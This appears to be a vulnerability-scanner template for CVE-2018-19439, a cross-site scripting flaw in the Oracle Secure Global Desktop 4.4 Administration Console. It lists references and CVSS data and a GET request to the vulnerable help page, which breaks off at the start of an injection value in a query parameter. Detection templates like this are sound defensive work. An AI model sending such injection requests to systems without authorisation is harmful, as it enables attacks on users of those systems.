id: CVE-2018-19439 info: name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console author: madrobot,dwisiswant0 severity: medium description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4) reference: - http://web.archive.org/web/20210124221313/https://www.securityfocus.com/bid/106006/ - http://seclists.org/fulldisclosure/2018/Nov/58 - http://packetstormsecurity.com/files/150444/Oracle-Secure-Global-Desktop-Administration-Console-4.4-Cross-Site-Scripting.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-19439 cwe-id: CWE-79 tags: oracle,xss,seclists,packetstorm,cve,cve2018 requests: - method: GET path: - "{{BaseURL}}/sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?=&windowTitle=AdministratorHelpWindow>